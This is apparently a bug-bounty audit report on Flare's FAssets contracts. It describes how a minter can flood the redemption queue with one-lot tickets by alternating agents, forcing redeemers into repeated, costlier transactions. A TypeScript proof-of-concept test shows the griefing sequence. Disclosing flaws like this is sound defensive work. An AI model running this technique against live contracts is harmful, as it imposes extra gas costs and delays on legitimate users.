#45987 [SC-Medium] A malicious user can fill up the redemption queue with the minimum size (1 lot), making legitimate redeemers to redeem always multiple times

Submitted on May 23rd 2025 at 09:48:01 UTC by @avoloder for Audit Comp | Flare | FAssets

  • Report ID: #45987

  • Report Type: Smart Contract

  • Report severity: Medium

  • Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/facets/CollateralReservationsFacet.sol

  • Impacts:

    • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

A malicious user could easily fill up the redemption queue making it hard for legitimate redeemers to redeem in one go

Vulnerability Details

A malicious minter (e.g., Minter 1) could fill up the redemption queue with minimum-sized tickets (1 lot each), effectively reserving collateral multiple times in small increments. Each time collateral is reserved, a new ticket is created in the redemption queue.

To prevent the protocol from aggregating values under a single agent (which would consolidate tickets), Minter 1 can alternate between two or more different agents when reserving collateral. Since each ticket comes from a different agent, the system will not merge the values, and a new ticket will be created for each reservation.

On the redemption side, when a legitimate user submits a redemption request, the system sums ticket values until the requested number of lots is reached. The corresponding tickets are then removed from the queue, and the assets are redeemed. This process continues until either the redemption is fulfilled or the protocol hits the maximumRedeemedTickets constraint.

Because the queue is filled with many 1-lot tickets, a legitimate redeemer will likely hit the maximumRedeemedTickets limit before completing their full redemption. As a result, the redemption will be incomplete, and the user will need to repeat the process multiple times. Depending on the total number of lots the user intends to redeem, this fragmentation could force them to perform several separate redemption transactions

Impact Details

This fragmentation forces the user to execute multiple redemption transactions, each processing a limited number of tickets. As a result, the user incurs significantly higher cumulative gas fees and increased transaction latency due to repeated interactions with the protocol.

Furthermore, protocol's resources are being used inefficiently by handling many small tickets rather than fewer aggregated ones.

References

Add any relevant links to documentation or code

https://github.com/flare-foundation/fassets/blob/fc727ee70a6d36a3d8dec81892d76d01bb22e7f1/contracts/assetManager/library/RedemptionRequests.sol#L32-L66

https://github.com/flare-foundation/fassets/blob/fc727ee70a6d36a3d8dec81892d76d01bb22e7f1/contracts/assetManager/library/Agents.sol#L186-L228

Proof of Concept

Proof of Concept

Paste this test into AttackScenarios.ts

it("malicious user can fill the queue with the minimum size (1 lot), preventing legitimate redeemers to redeem more than maxRedeemedTickets and cause multiple RedemptionRequestIncomplete requests", async() => {
        const agent = await Agent.createTest(context, agentOwner1, underlyingAgent1);
        const agent2 = await Agent.createTest(context, agentOwner2, underlyingAgent2);
        const minter = await Minter.createTest(context, minterAddress1, underlyingMinter1, context.underlyingAmount(10000));
        const minter2 = await Minter.createTest(context, minterAddress2, underlyingMinter2, context.underlyingAmount(10000));
        const redeemer = await Redeemer.create(context, redeemerAddress1, underlyingRedeemer1);

        // make agents available
        const fullAgentCollateral = toWei(3e8);
        await agent.depositCollateralsAndMakeAvailable(fullAgentCollateral, fullAgentCollateral);
        await agent2.depositCollateralsAndMakeAvailable(fullAgentCollateral, fullAgentCollateral);

        // update block
        await context.updateUnderlyingBlock();
        // perform minting
        const lots = 1;

        // A malicious minter performs mints simultaneously so that the ticket value cannot be aggregated for the same agent

        // First round with Agent 1
        const crt = await minter.reserveCollateral(agent.vaultAddress, lots);
        const txHash = await minter.performMintingPayment(crt);
        const minted = await minter.executeMinting(crt, txHash);
        // Second round with Agent 2
        const crt2 = await minter.reserveCollateral(agent2.vaultAddress, lots);
        const txHash2 = await minter.performMintingPayment(crt2);
        const minted2 = await minter.executeMinting(crt2, txHash2);
        // Third round with Agent 1
        const crt3 = await minter.reserveCollateral(agent.vaultAddress, lots);
        const txHash3 = await minter.performMintingPayment(crt3);
        const minted3 = await minter.executeMinting(crt3, txHash3);
        // Fourth round with Agent 2
        const crt4 = await minter.reserveCollateral(agent2.vaultAddress, lots);
        const txHash4 = await minter.performMintingPayment(crt4);
        const minted4 = await minter.executeMinting(crt4, txHash4);

        //Verify redemption queue (number of tickets = 4) => 4 distinct tickets (each with 1 lot size)
        console.log(deepFormat(await context.getRedemptionQueue()));

        // Legitimate minter mints 6 lots

        const crt5 = await minter2.reserveCollateral(agent.vaultAddress, lots * 5);
        const txHash5 = await minter2.performMintingPayment(crt5);
        const minted5 = await minter2.executeMinting(crt5, txHash5);

        //Verify redemption queue (number of tickets = 4) => 4 distinct tickets (each with 1 lot size)
        console.log(deepFormat(await context.getRedemptionQueue()));

        // redeemer "buys" f-assets
        await context.fAsset.transfer(redeemer.address, minted5.mintedAmountUBA, { from: minter2.address });

        // Redeemer tries to reedem his assets
        // perform redemption
        const [redemptionRequests, remainingLots, dustChanges] = await redeemer.requestRedemption(lots * 5);

        console.log(deepFormat(await context.getRedemptionQueue()));
        assertWeb3Equal(remainingLots, 1);
    });

Was this helpful?